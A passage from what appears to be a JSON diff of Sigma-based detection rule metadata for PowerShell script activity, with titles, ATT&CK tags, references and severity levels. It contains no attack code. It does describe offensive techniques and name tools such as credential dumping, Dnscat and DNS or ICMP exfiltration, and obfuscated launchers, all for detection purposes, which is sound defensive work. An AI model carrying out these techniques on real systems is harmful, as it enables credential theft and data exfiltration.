"Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", + "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", + "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", + "value": "Powershell Create Scheduled Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_cmdlet_scheduled_task.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", + "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", + "value": "Powershell Install a DLL in System Directory", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ], + "creation_date": "2021/12/27", + "filename": "posh_ps_copy_item_system_directory.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", + "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", + "value": "Registry-Free Process Scope COR_PROFILER", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.012" + ], + "creation_date": "2021/12/30", + "filename": "posh_ps_cor_profiler.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a local user via PowerShell", + "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", + "value": "PowerShell Create Local User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2020/04/11", + "filename": "posh_ps_create_local_user.yml", + "author": "@ROxPinTeddy", + "level": "medium", + "falsepositive": [ + "Legitimate user creation" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", + "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", + "value": "Create Volume Shadow Copy with Powershell", + "meta": { + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/01/12", + "filename": "posh_ps_create_volume_shadow_copy.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", + "value": "Data Compressed - PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560" + ], + "creation_date": "2019/10/21", + "filename": "posh_ps_data_compressed.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Highly likely if archive operations are done via PowerShell." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", + "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", + "value": "Powershell Detect Virtualization Environment", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", + "https://techgenix.com/malicious-powershell-scripts-evade-detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1497.001" + ], + "creation_date": "2021/08/03", + "filename": "posh_ps_detect_vm_env.yml", + "author": "frack113, Duc.Le-GTSC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Enumerates Active Directory to determine computers that are joined to the domain", + "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", + "value": "DirectorySearcher Powershell Exploitation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/02/12", + "filename": "posh_ps_directorysearcher.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", + "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", + "value": "Manipulation of User Computer or Group Security Principals Across AD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", + "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.002" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_directoryservices_accountmanagement.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", + "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", + "value": "Disable Powershell Command History", + "meta": { + "refs": [ + "https://twitter.com/DissectMalware/status/1062879286749773824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/08/21", + "filename": "posh_ps_disable_psreadline_command_history.yml", + "author": "Ali Alwashali", + "level": "high", + "falsepositive": [ + "Legitimate script that disables the command history" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", + "value": "Disable-WindowsOptionalFeature Command PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/10", + "filename": "posh_ps_disable_windowsoptionalfeature.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Dnscat exfiltration tool execution", + "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", + "value": "Dnscat Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "posh_ps_dnscat_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate usage of PowerShell Dnscat2 \u2014 DNS Exfiltration tool (unlikely)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", + "value": "Dump Credentials from Windows Credential Manager With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2021/12/20", + "filename": "posh_ps_dump_password_windows_credential_manager.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", + "value": "Enable Windows Remote Management", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_enable_psremoting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect built in PowerShell cmdlet Enable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "uuid": "55c925c1-7195-426b-a136-a9396800e29b", + "value": "Enable-WindowsOptionalFeature Command PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/10", + "filename": "posh_ps_enable_windowsoptionalfeature.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "uuid": "603c6630-5225-49c1-8047-26c964553e0e", + "value": "Enumerate Credentials from Windows Credential Manager With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2021/12/20", + "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", + "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", + "value": "Disable of ETW Trace", + "meta": { + "refs": [ + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ], + "creation_date": "2022/06/28", + "filename": "posh_ps_etw_trace_evasion.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", + "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", + "value": "Suspicious PowerShell Mailbox SMTP Forward Rule", + "meta": { + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/10/26", + "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the cmdlet to forward emails" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", + "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", + "value": "Powershell File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_file_and_directory_discovery.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", + "value": "Service Registry Permissions Weakness Check", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ], + "creation_date": "2021/12/30", + "filename": "posh_ps_get_acl_service.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", + "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", + "value": "Suspicious Get-ADReplAccount", + "meta": { + "refs": [ + "https://www.powershellgallery.com/packages/DSInternals", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ], + "creation_date": "2022/02/06", + "filename": "posh_ps_get_adreplaccount.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", + "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "posh_ps_get_childitem_bookmarks.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", + "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", + "value": "PowerShell Hotfix Enumeration", + "meta": { + "refs": [ + "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/06/21", + "filename": "posh_ps_hotfix_enum.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", + "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", + "value": "PowerShell ICMP Exfiltration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/10/10", + "filename": "posh_ps_icmp_exfiltration.yml", + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate usage of System.Net.NetworkInformation.Ping class" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that import modules from suspicious directories", + "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", + "value": "Import PowerShell Modules From Suspicious Directories", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/07/07", + "filename": "posh_ps_import_module_susp_dirs.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", + "value": "Execute Invoke-command on Remote Host", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_invoke_command_remote.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", + "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", + "value": "Powershell DNSExfiltration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", + "https://github.com/Arno0x/DNSExfiltrator", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_invoke_dnsexfiltration.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet name for PrintNightmare exploitation.", + "uuid": "6d3f1399-a81c-4409-aff3-1ecfe9330baf", + "value": "PrintNightmare Powershell Exploitation", + "meta": { + "refs": [ + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2021/08/09", + "filename": "posh_ps_invoke_nightmare.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_ps_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", + "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_ps_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_ps_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_ps_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + 